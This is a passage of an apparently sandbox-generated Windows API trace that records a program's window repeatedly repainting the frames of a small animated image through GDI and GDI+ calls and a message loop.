lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0143.577] GdipCreateRegion (region=0x15d710) returned 0x0 [0143.577] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0143.577] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0143.577] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0143.577] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0143.577] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.577] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.577] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.578] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0143.578] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.578] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.578] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.578] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.578] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0143.578] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0143.578] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0143.578] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0143.578] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.578] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0143.578] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0143.579] GetCurrentObject (hdc=0x2e010b91, type=0x1) returned 0x1b00017 [0143.579] GetCurrentObject (hdc=0x2e010b91, type=0x2) returned 0x1900010 [0143.579] GetCurrentObject (hdc=0x2e010b91, type=0x7) returned 0x1a05067e [0143.579] GetCurrentObject (hdc=0x2e010b91, type=0x6) returned 0x18a002e [0143.579] SaveDC (hdc=0x2e010b91) returned 1 [0143.579] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff9f040b8a [0143.579] GetClipRgn (hdc=0x2e010b91, hrgn=0xffffffff9f040b8a) returned 0 [0143.579] SelectClipRgn (hdc=0x2e010b91, hrgn=0xffffffffcf0407c3) returned 2 [0143.579] DeleteObject (ho=0xffffffff9f040b8a) returned 1 [0143.579] DeleteObject (ho=0xffffffffcf0407c3) returned 1 [0143.579] OffsetViewportOrgEx (in: hdc=0x2e010b91, x=0, y=0, lppt=0x26d80c8 | out: lppt=0x26d80c8) returned 1 [0143.579] GetNearestColor (hdc=0x2e010b91, color=0xffffff) returned 0xffffff [0143.579] CreateSolidBrush (color=0xffffff) returned 0xffffffffa7100190 [0143.579] FillRect (hDC=0x2e010b91, lprc=0x15d7c0, hbr=0xffffffffa7100190) returned 1 [0143.579] DeleteObject (ho=0xffffffffa7100190) returned 1 [0143.580] RestoreDC (hdc=0x2e010b91, nSavedDC=-1) returned 1 [0143.580] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.580] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2e010b91) returned 0x0 [0143.580] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc980dbd) returned 0x0 [0143.580] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.580] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0143.580] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.580] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.580] GetSystemMetrics (nIndex=42) returned 0 [0143.580] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.580] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.580] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.580] CoTaskMemFree (pv=0x1e91eca0) [0143.580] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0143.582] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0143.582] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0143.582] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0143.582] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0143.582] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2e010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0143.583] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.583] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2e010b91) returned 0x0 [0143.583] SelectObject (hdc=0x2e010b91, h=0x185000f) returned 0x1a05067e [0143.583] DeleteDC (hdc=0x2e010b91) returned 1 [0143.583] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.583] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0143.583] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0143.583] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0143.583] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.583] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.583] WaitMessage () returned 1 [0143.726] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.726] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.727] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.727] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.727] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.727] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0143.727] GetCurrentThreadId () returned 0xec0 [0143.727] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0143.727] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.727] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.727] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.727] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.727] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.727] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0143.727] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0143.728] CreateCompatibleDC (hdc=0x3010b83) returned 0x2f010b91 [0143.728] SelectObject (hdc=0x2f010b91, h=0x1a05067e) returned 0x185000f [0143.728] GdipCreateFromHDC (hdc=0x2f010b91, graphics=0x15daf0) returned 0x0 [0143.728] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0143.728] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0143.728] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0143.728] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0143.728] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0143.728] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.728] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0143.729] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.729] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.729] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0143.729] GdipCreateRegion (region=0x15dc20) returned 0x0 [0143.729] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0143.729] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0143.730] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0143.730] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.730] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.730] GetSystemMetrics (nIndex=42) returned 0 [0143.730] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.730] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.730] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.730] CoTaskMemFree (pv=0x1e91eca0) [0143.730] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0143.730] GdipCreateRegion (region=0x15d710) returned 0x0 [0143.730] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0143.730] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0143.730] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0143.730] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0143.731] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.731] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.731] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.731] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0143.731] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.731] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.732] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.732] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.732] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0143.732] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0143.732] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0143.732] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0143.732] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.732] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0143.732] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0143.732] GetCurrentObject (hdc=0x2f010b91, type=0x1) returned 0x1b00017 [0143.732] GetCurrentObject (hdc=0x2f010b91, type=0x2) returned 0x1900010 [0143.733] GetCurrentObject (hdc=0x2f010b91, type=0x7) returned 0x1a05067e [0143.733] GetCurrentObject (hdc=0x2f010b91, type=0x6) returned 0x18a002e [0143.733] SaveDC (hdc=0x2f010b91) returned 1 [0143.733] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd00407c3 [0143.733] GetClipRgn (hdc=0x2f010b91, hrgn=0xffffffffd00407c3) returned 0 [0143.733] SelectClipRgn (hdc=0x2f010b91, hrgn=0xffffffffa0040b8a) returned 2 [0143.733] DeleteObject (ho=0xffffffffd00407c3) returned 1 [0143.733] DeleteObject (ho=0xffffffffa0040b8a) returned 1 [0143.733] OffsetViewportOrgEx (in: hdc=0x2f010b91, x=0, y=0, lppt=0x26d93a8 | out: lppt=0x26d93a8) returned 1 [0143.733] GetNearestColor (hdc=0x2f010b91, color=0xffffff) returned 0xffffff [0143.733] CreateSolidBrush (color=0xffffff) returned 0xffffffffa8100190 [0143.733] FillRect (hDC=0x2f010b91, lprc=0x15d7c0, hbr=0xffffffffa8100190) returned 1 [0143.733] DeleteObject (ho=0xffffffffa8100190) returned 1 [0143.734] RestoreDC (hdc=0x2f010b91, nSavedDC=-1) returned 1 [0143.734] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.734] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f010b91) returned 0x0 [0143.734] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc960dbd) returned 0x0 [0143.734] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.734] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0143.734] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.734] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.734] GetSystemMetrics (nIndex=42) returned 0 [0143.734] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.734] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.734] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.734] CoTaskMemFree (pv=0x1e91eca0) [0143.734] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0143.734] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0143.734] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0143.735] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0143.735] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2f010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0143.735] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.735] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f010b91) returned 0x0 [0143.735] SelectObject (hdc=0x2f010b91, h=0x185000f) returned 0x1a05067e [0143.735] DeleteDC (hdc=0x2f010b91) returned 1 [0143.735] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.735] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0143.735] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0143.735] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0143.735] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.735] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.735] WaitMessage () returned 1 [0143.899] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.899] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.899] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.899] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.899] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.899] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0143.899] GetCurrentThreadId () returned 0xec0 [0143.899] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0143.900] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.900] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.900] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.900] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.900] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.900] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0143.900] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0143.900] CreateCompatibleDC (hdc=0x3010b83) returned 0x30010b91 [0143.900] SelectObject (hdc=0x30010b91, h=0x1a05067e) returned 0x185000f [0143.900] GdipCreateFromHDC (hdc=0x30010b91, graphics=0x15daf0) returned 0x0 [0143.900] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0143.900] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0143.900] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0143.900] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0143.901] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0143.901] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.901] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0143.901] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.901] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.901] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0143.901] GdipCreateRegion (region=0x15dc20) returned 0x0 [0143.901] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0143.901] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0143.902] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0143.902] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.902] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.902] GetSystemMetrics (nIndex=42) returned 0 [0143.902] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.902] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.902] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.902] CoTaskMemFree (pv=0x1e91eca0) [0143.902] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0143.902] GdipCreateRegion (region=0x15d710) returned 0x0 [0143.902] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0143.902] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0143.902] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0143.902] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0143.902] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.902] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.903] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.903] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0143.903] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.903] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.903] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.904] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.904] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0143.904] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0143.904] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0143.904] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0143.904] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.904] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0143.904] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0143.904] GetCurrentObject (hdc=0x30010b91, type=0x1) returned 0x1b00017 [0143.904] GetCurrentObject (hdc=0x30010b91, type=0x2) returned 0x1900010 [0143.904] GetCurrentObject (hdc=0x30010b91, type=0x7) returned 0x1a05067e [0143.904] GetCurrentObject (hdc=0x30010b91, type=0x6) returned 0x18a002e [0143.904] SaveDC (hdc=0x30010b91) returned 1 [0143.904] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa1040b8a [0143.904] GetClipRgn (hdc=0x30010b91, hrgn=0xffffffffa1040b8a) returned 0 [0143.905] SelectClipRgn (hdc=0x30010b91, hrgn=0xffffffffd10407c3) returned 2 [0143.905] DeleteObject (ho=0xffffffffa1040b8a) returned 1 [0143.905] DeleteObject (ho=0xffffffffd10407c3) returned 1 [0143.905] OffsetViewportOrgEx (in: hdc=0x30010b91, x=0, y=0, lppt=0x26d9ce0 | out: lppt=0x26d9ce0) returned 1 [0143.905] GetNearestColor (hdc=0x30010b91, color=0xffffff) returned 0xffffff [0143.905] CreateSolidBrush (color=0xffffff) returned 0xffffffffa9100190 [0143.905] FillRect (hDC=0x30010b91, lprc=0x15d7c0, hbr=0xffffffffa9100190) returned 1 [0143.905] DeleteObject (ho=0xffffffffa9100190) returned 1 [0143.905] RestoreDC (hdc=0x30010b91, nSavedDC=-1) returned 1 [0143.905] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.905] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x30010b91) returned 0x0 [0143.905] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc940dbd) returned 0x0 [0143.905] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.905] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0143.905] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.905] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.906] GetSystemMetrics (nIndex=42) returned 0 [0143.906] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.906] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.906] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.906] CoTaskMemFree (pv=0x1e91eca0) [0143.906] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0143.908] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0143.908] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0143.908] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0143.908] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0143.908] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x30010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0143.908] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.908] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x30010b91) returned 0x0 [0143.908] SelectObject (hdc=0x30010b91, h=0x185000f) returned 0x1a05067e [0143.908] DeleteDC (hdc=0x30010b91) returned 1 [0143.908] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.908] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0143.908] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0143.908] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0143.909] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.909] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.909] WaitMessage () returned 1 [0144.028] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.028] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.028] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.028] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.028] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.028] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0144.028] GetCurrentThreadId () returned 0xec0 [0144.028] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0144.028] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.028] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.028] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.028] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.028] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.029] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0144.029] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0144.029] CreateCompatibleDC (hdc=0x3010b83) returned 0x31010b91 [0144.029] SelectObject (hdc=0x31010b91, h=0x1a05067e) returned 0x185000f [0144.029] GdipCreateFromHDC (hdc=0x31010b91, graphics=0x15daf0) returned 0x0 [0144.029] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0144.029] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0144.029] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0144.029] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0144.029] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0144.029] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.029] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0144.030] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.030] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.030] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0144.030] GdipCreateRegion (region=0x15dc20) returned 0x0 [0144.030] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0144.030] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0144.030] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0144.031] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.031] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, 